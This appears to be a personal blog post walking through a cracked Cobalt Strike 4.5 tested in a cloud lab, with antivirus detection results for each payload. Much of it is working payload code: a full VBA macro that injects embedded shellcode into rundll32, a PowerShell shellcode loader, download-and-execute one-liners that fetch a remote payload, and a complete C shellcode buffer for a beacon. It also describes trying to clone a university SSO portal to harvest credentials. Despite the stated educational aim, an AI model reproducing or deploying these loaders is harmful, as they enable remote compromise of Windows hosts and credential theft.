Ah, Cobalt Strike, HelpSystems’ infamous (but legitimate) Red Teaming product coopted by attackers worldwide for malicious purposes. For those unfamiliar, Cobalt Strike is an adversarial toolkit. Its official capacity in the security industry is to simulate attacks for testing purposes. Of course, as is perhaps expected, given the prompt release of each new version to the Internet, those with less noble intentions also make use of the software.
By certain means, I have obtained a copy of Cobalt Strike version 4.5, released on December 14th, 2021. As this is a recent, licensed version, I was curious about which type of malicious operations I could successfully perform and the code behind them. Of course, as with all content posted on my website, education is the only objective. I carried out all testing in a cloud lab environment, and I suggest you do the same should you follow my processes here. Enjoy!
Environment
I prefer to host my testing machines off-site, especially when dealing with unverified software, such as my copy of Cobalt Strike. To facilitate that, Google’s Cloud Compute Engine comes in handy. Unfortunately, due to licensing agreements with Microsoft, it is cheaper to run Windows hosts in Azure, so I have split my network like so:
Google Cloud VPC
└ Cobalt Strike (Debian 10)
Azure VPC
└ Victim Host (Windows 10)
Microsoft Office Macro
Generation
Microsoft recently announced that they will disable MS Office macros embedded in files downloaded from the Internet by default — it’s about time. Office macro attacks are so common that Cobalt Strike even has a dedicated button to allow for their simple generation.
Of course, I first have to set up a “listener,” something for my macro to contact. Luckily, HelpSystems provides their users (and abusers) with a set of well-detailed documentation. I decided to use windows/beacon_http/reverse_http
as my payload, configured as shown below.
Upon generation of the macro, Cobalt Strike displayed macro deployment instructions. Red teaming is fool-proof these days!
Here is the source code of the macro:
1Private Type PROCESS_INFORMATION
2 hProcess As Long
3 hThread As Long
4 dwProcessId As Long
5 dwThreadId As Long
6End Type
7
8Private Type STARTUPINFO
9 cb As Long
10 lpReserved As String
11 lpDesktop As String
12 lpTitle As String
13 dwX As Long
14 dwY As Long
15 dwXSize As Long
16 dwYSize As Long
17 dwXCountChars As Long
18 dwYCountChars As Long
19 dwFillAttribute As Long
20 dwFlags As Long
21 wShowWindow As Integer
22 cbReserved2 As Integer
23 lpReserved2 As Long
24 hStdInput As Long
25 hStdOutput As Long
26 hStdError As Long
27End Type
28
29#If VBA7 Then
30 Private Declare PtrSafe Function CreateStuff Lib "kernel32" Alias "CreateRemoteThread" (ByVal hProcess As Long, ByVal lpThreadAttributes As Long, ByVal dwStackSize As Long, ByVal lpStartAddress As LongPtr, lpParameter As Long, ByVal dwCreationFlags As Long, lpThreadID As Long) As LongPtr
31 Private Declare PtrSafe Function AllocStuff Lib "kernel32" Alias "VirtualAllocEx" (ByVal hProcess As Long, ByVal lpAddr As Long, ByVal lSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr
32 Private Declare PtrSafe Function WriteStuff Lib "kernel32" Alias "WriteProcessMemory" (ByVal hProcess As Long, ByVal lDest As LongPtr, ByRef Source As Any, ByVal Length As Long, ByVal LengthWrote As LongPtr) As LongPtr
33 Private Declare PtrSafe Function RunStuff Lib "kernel32" Alias "CreateProcessA" (ByVal lpApplicationName As String, ByVal lpCommandLine As String, lpProcessAttributes As Any, lpThreadAttributes As Any, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, lpEnvironment As Any, ByVal lpCurrentDirectory As String, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long
34#Else
35 Private Declare Function CreateStuff Lib "kernel32" Alias "CreateRemoteThread" (ByVal hProcess As Long, ByVal lpThreadAttributes As Long, ByVal dwStackSize As Long, ByVal lpStartAddress As Long, lpParameter As Long, ByVal dwCreationFlags As Long, lpThreadID As Long) As Long
36 Private Declare Function AllocStuff Lib "kernel32" Alias "VirtualAllocEx" (ByVal hProcess As Long, ByVal lpAddr As Long, ByVal lSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As Long
37 Private Declare Function WriteStuff Lib "kernel32" Alias "WriteProcessMemory" (ByVal hProcess As Long, ByVal lDest As Long, ByRef Source As Any, ByVal Length As Long, ByVal LengthWrote As Long) As Long
38 Private Declare Function RunStuff Lib "kernel32" Alias "CreateProcessA" (ByVal lpApplicationName As String, ByVal lpCommandLine As String, lpProcessAttributes As Any, lpThreadAttributes As Any, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, lpEnvironment As Any, ByVal lpCurrentDriectory As String, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long
39#End If
40
41Sub Auto_Open()
42 Dim myByte As Long, myArray As Variant, offset As Long
43 Dim pInfo As PROCESS_INFORMATION
44 Dim sInfo As STARTUPINFO
45 Dim sNull As String
46 Dim sProc As String
47
48#If VBA7 Then
49 Dim rwxpage As LongPtr, res As LongPtr
50#Else
51 Dim rwxpage As Long, res As Long
52#End If
53 myArray = Array(-4,-24,-119,0,0,0,96,-119,-27,49,-46,100,-117,82,48,-117,82,12,-117,82,20,-117,114,40,15,-73,74,38,49,-1,49,-64,-84,60,97,124,2,44,32,-63,-49, _
5413,1,-57,-30,-16,82,87,-117,82,16,-117,66,60,1,-48,-117,64,120,-123,-64,116,74,1,-48,80,-117,72,24,-117,88,32,1,-45,-29,60,73,-117,52,-117,1, _
55-42,49,-1,49,-64,-84,-63,-49,13,1,-57,56,-32,117,-12,3,125,-8,59,125,36,117,-30,88,-117,88,36,1,-45,102,-117,12,75,-117,88,28,1,-45,-117,4, _
56-117,1,-48,-119,68,36,36,91,91,97,89,90,81,-1,-32,88,95,90,-117,18,-21,-122,93,104,110,101,116,0,104,119,105,110,105,84,104,76,119,38,7,-1, _
57-43,49,-1,87,87,87,87,87,104,58,86,121,-89,-1,-43,-23,-124,0,0,0,91,49,-55,81,81,106,3,81,81,104,80,0,0,0,83,80,104,87,-119,-97, _
58-58,-1,-43,-21,112,91,49,-46,82,104,0,2,64,-124,82,82,82,83,82,80,104,-21,85,46,59,-1,-43,-119,-58,-125,-61,80,49,-1,87,87,106,-1,83,86, _
59104,45,6,24,123,-1,-43,-123,-64,15,-124,-61,1,0,0,49,-1,-123,-10,116,4,-119,-7,-21,9,104,-86,-59,-30,93,-1,-43,-119,-63,104,69,33,94,49,-1, _
60-43,49,-1,87,106,7,81,86,80,104,-73,87,-32,11,-1,-43,-65,0,47,0,0,57,-57,116,-73,49,-1,-23,-111,1,0,0,-23,-55,1,0,0,-24,-117,-1, _
61-1,-1,47,110,56,115,67,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, _
620,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, _
630,0,85,115,101,114,45,65,103,101,110,116,58,32,77,111,122,105,108,108,97,47,53,46,48,32,40,99,111,109,112,97,116,105,98,108,101,59,32,77, _
6483,73,69,32,57,46,48,59,32,87,105,110,100,111,119,115,32,78,84,32,54,46,49,59,32,84,114,105,100,101,110,116,47,53,46,48,59,32,76,66, _
6566,82,79,87,83,69,82,41,13,10,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, _
660,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, _
670,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, _
680,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, _
690,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, _
700,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,104,-16,-75,-94,86,-1,-43,106,64,104,0,16,0,0, _
71104,0,0,64,0,87,104,88,-92,83,-27,-1,-43,-109,-71,0,0,0,0,1,-39,81,83,-119,-25,87,104,0,32,0,0,83,86,104,18,-106,-119,-30,-1,-43, _
72-123,-64,116,-58,-117,7,1,-61,-123,-64,117,-27,88,-61,-24,-87,-3,-1,-1,51,53,46,49,57,55,46,48,46,54,50,0,0,0,0,0)
73 If Len(Environ("ProgramW6432")) > 0 Then
74 sProc = Environ("windir") & "\\SysWOW64\\rundll32.exe"
75 Else
76 sProc = Environ("windir") & "\\System32\\rundll32.exe"
77 End If
78
79 res = RunStuff(sNull, sProc, ByVal 0&, ByVal 0&, ByVal 1&, ByVal 4&, ByVal 0&, sNull, sInfo, pInfo)
80
81 rwxpage = AllocStuff(pInfo.hProcess, 0, UBound(myArray), &H1000, &H40)
82 For offset = LBound(myArray) To UBound(myArray)
83 myByte = myArray(offset)
84 res = WriteStuff(pInfo.hProcess, rwxpage + offset, myByte, 1, ByVal 0&)
85 Next offset
86 res = CreateStuff(pInfo.hProcess, 0, 0, rwxpage, 0, 0, 0)
87End Sub
88Sub AutoOpen()
89 Auto_Open
90End Sub
91Sub Workbook_Open()
92 Auto_Open
93End Sub
15 of 59 antivirus programs capable of processing macro-loaded Excel files reported malicious activity from the script above, including Microsoft Defender. Thus, I will likely have to turn off Microsoft Defender to run the macro. Avast’s YARA Rule contributions specifically identified the maco as originating from Cobalt Strike.
I found the absence of my IP address within the code particularly interesting. I assume it can be reconstructed from the obfuscated code by using the values in myArray
since a plain address would be easy to find and flag as malicious. I have censored my IP in screenshots thus far — if you can reconstruct it from that array, please send me an email. I would love to know!
Execution
Here comes the fun part: let’s test the functionality of the macro. The software specifications of the Windows victim can be seen in the screenshot below. Sidenote: I find it disturbing that links to TikTok, mobile games, and Roblox are included in the Start Menu even in Azure images. What a nightmare.
Microsoft Defender immediately quarantined my Excel file upon saving it with the macro — annoying for my purposes, but a good thing nonetheless. However, many businesses do not remain vigilant when considering malware mitigation processes such as updating antivirus signatures, so the code generated by Cobalt Strike still poses a serious threat.
Disabling Defender allowed me to proceed, and… Exploitation was successful! From here, a variety of options were available, including the ability to upload files, attempt privilege escalation, and more. Fascinating stuff. Unfortunately, not all features worked as expected, but I am not sure if this is due to a misconfiguration on my part or whether some of the exploits Cobalt Strike attempted have been patched by Microsoft.
PowerShell Script
Using the same listener, I generated the following PowerShell script in Cobalt Strike.
1Set-StrictMode -Version 2
2
3function func_get_proc_address {
4 Param ($var_module, $var_procedure)
5 $var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
6 $var_gpa = $var_unsafe_native_methods.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string'))
7 return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure))
8}
9
10function func_get_delegate_type {
11 Param (
12 [Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters,
13 [Parameter(Position = 1)] [Type] $var_return_type = [Void]
14 )
15
16 $var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
17 $var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $var_parameters).SetImplementationFlags('Runtime, Managed')
18 $var_type_builder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $var_return_type, $var_parameters).SetImplementationFlags('Runtime, Managed')
19
20 return $var_type_builder.CreateType()
21}
22
23If ([IntPtr]::size -eq 8) {
24 [Byte[]]$var_code = [System.Convert]::FromBase64String('<VERY long Base64 string>')
25 for ($x = 0; $x -lt $var_code.Count; $x++) {
26 $var_code[$x] = $var_code[$x] -bxor 35
27 }
28
29 $var_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll VirtualAlloc), (func_get_delegate_type @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))
30 $var_buffer = $var_va.Invoke([IntPtr]::Zero, $var_code.Length, 0x3000, 0x40)
31 [System.Runtime.InteropServices.Marshal]::Copy($var_code, 0, $var_buffer, $var_code.length)
32
33 $var_runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_buffer, (func_get_delegate_type @([IntPtr]) ([Void])))
34 $var_runme.Invoke([IntPtr]::Zero)
35}
Many more antivirus engines (32/59) detected this script than the Excel macro. Examining the code, you may notice the [Byte[]]$var_code = [System.Convert]::FromBase64String('<VERY long Base64 string>')
line; while the code is relatively short, the Base64 string contained within it exceeds 350,000 characters, so I did not include the full output. Using alternative encoding is a classic malware obfuscation tactic, and I am not surprised to see it employed here.
Using, [System.Convert]::FromBase64String()
I decoded the Base64 string, which revealed a massive set of numbers. It appears that these numbers are bitwise XORed with 35
(ASCII ‘#’) to reconstruct the malicious commands. As shown by the VirusTotal report, this process was not complex enough to prevent widespread detection by updated AV engines.
As with the Excel macro, running this script on the victim host also established a tunnel back to Cobalt Strike.
Special Delivery
Certain situations may present themselves in which an attacker has difficulty planting a file into the victim’s environment; thus, HelpSystems has established alternative delivery methods. One such method is Scripted Web-Delivery, an all-in-one setup that hosts a malicious file and provides one-liners in different languages to automate fetching and executing the file on the victim host.
Victim one-liners, given a payload of windows/beacon_http/reverse_http
:
1powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://X.X.X.X:80/a'))"
1python -c "import urllib2; exec urllib2.urlopen('http://X.X.X.X:80/a').read();"
Windows Defender identifies the PowerShell threat as TrojanDropper:PowerShell/Cobacis.B
.
More Stuff
C Payload
Using the Payload Generator, Cobalt Strike will form a buffer array in several different languages. An example of this is shown below in C, though Java, Python, Perl, PowerShell, and more are supported as well.
1unsigned char buf[] = "\xfc\x48\x83\xe4\xf0\xe8\xc8\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x75\x72\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x4f\xff\xff\xff\x5d\x6a\x00\x49\xbe\x77\x69\x6e\x69\x6e\x65\x74\x00\x41\x56\x49\x89\xe6\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x48\x31\xc9\x48\x31\xd2\x4d\x31\xc0\x4d\x31\xc9\x41\x50\x41\x50\x41\xba\x3a\x56\x79\xa7\xff\xd5\xeb\x73\x5a\x48\x89\xc1\x41\xb8\x50\x00\x00\x00\x4d\x31\xc9\x41\x51\x41\x51\x6a\x03\x41\x51\x41\xba\x57\x89\x9f\xc6\xff\xd5\xeb\x59\x5b\x48\x89\xc1\x48\x31\xd2\x49\x89\xd8\x4d\x31\xc9\x52\x68\x00\x02\x40\x84\x52\x52\x41\xba\xeb\x55\x2e\x3b\xff\xd5\x48\x89\xc6\x48\x83\xc3\x50\x6a\x0a\x5f\x48\x89\xf1\x48\x89\xda\x49\xc7\xc0\xff\xff\xff\xff\x4d\x31\xc9\x52\x52\x41\xba\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x0f\x85\x9d\x01\x00\x00\x48\xff\xcf\x0f\x84\x8c\x01\x00\x00\xeb\xd3\xe9\xe4\x01\x00\x00\xe8\xa2\xff\xff\xff\x2f\x43\x41\x63\x76\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x35\x2e\x30\x20\x28\x63\x6f\x6d\x70\x61\x74\x69\x62\x6c\x65\x3b\x20\x4d\x53\x49\x45\x20\x39\x2e\x30\x3b\x20\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x36\x2e\x31\x3b\x20\x54\x72\x69\x64\x65\x6e\x74\x2f\x35\x2e\x30\x3b\x20\x42\x4f\x49\x45\x39\x3b\x45\x53\x45\x53\x29\x0d\x0a\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x41\xbe\xf0\xb5\xa2\x56\xff\xd5\x48\x31\xc9\xba\x00\x00\x40\x00\x41\xb8\x00\x10\x00\x00\x41\xb9\x40\x00\x00\x00\x41\xba\x58\xa4\x53\xe5\xff\xd5\x48\x93\x53\x53\x48\x89\xe7\x48\x89\xf1\x48\x89\xda\x41\xb8\x00\x20\x00\x00\x49\x89\xf9\x41\xba\x12\x96\x89\xe2\xff\xd5\x48\x83\xc4\x20\x85\xc0\x74\xb6\x66\x8b\x07\x48\x01\xc3\x85\xc0\x75\xd7\x58\x58\x58\x48\x05\x00\x00\x00\x00\x50\xc3\xe8\x9f\xfd\xff\xff\x33\x35\x2e\x31\x39\x37\x2e\x30\x2e\x36\x32\x00\x00\x00\x00\x00";
Since it is just an array, it is undetectable by any of the AV engines on VirusTotal (though it is included in Avast’s YARA Ruleset). This has huge security implications — this shellcode can be embedded in other programs to great effect.
I wrapped the buffer array in a small C function for compilation purposes and submitted the binary to VirusTotal, which then yielded four detections, a pitifully small amount nonetheless.
Foreign Connection?
While I was toying with the Scripted Web-Delivery functionality, I noticed I received a new connection to my Cobalt Strike team server, however, from a computer I do not own! I ran a WHOIS lookup against the IP address; as it happened, the instance that connected to my Cobalt Strike session is part of Autonomous System Number 9808: Guangdong Province, China. is this some kind of reverse attack, I wonder? Perhaps Cobalt Strike has vulnerabilities of its own.
I attempted to find any sort of information about the host by executing CS Beacon commands on it — after all, they had invited themselves onto my doorstep — but all attempts timed out. Very odd. If anyone has more information about why this happened, I would love to hear from you over email!
Report Exporting
As Cobalt Strike is intended to be a testing utility, it comes packaged with various features that would befit a penetration tester. One example of this is the report export tool, which generates report documents based on logged activity. Various reports can be generated, such as the IoCs and Hosts PDFs below.
Webpage Cloning
Cobalt Strike also supports webpage cloning, allowing not only for payload injection upon visiting a cloned website, but also credential and activity harvesting. Unfortunately, I was not able to get this to work properly with modern websites, try as I did with my university’s SSO portal.
Wrapping Up
HelpSystems has provided no shortage of features with Cobalt Strike — that is indisputable. What I have shown here is only a small subset of Cobalt Strike’s functionality, and I intend to expand on more of the possibilities in the future.
While I believe it is important to provide penetration testers with polished toolsets, these sorts of applications — Metasploit and Burp Suite included — present a very low barrier to entry for the aspiring cybercriminal. I am not suggesting they should be removed by any means, but it is an important topic to think about. Modern red teaming utilities have evolved to such a degree, abstracting technical concepts, that even beginners have a shot at breaching or infecting corporate systems. It’s an interesting debate, and ironic that criminals use the very tools we employ for protection as part of their attack frameworks.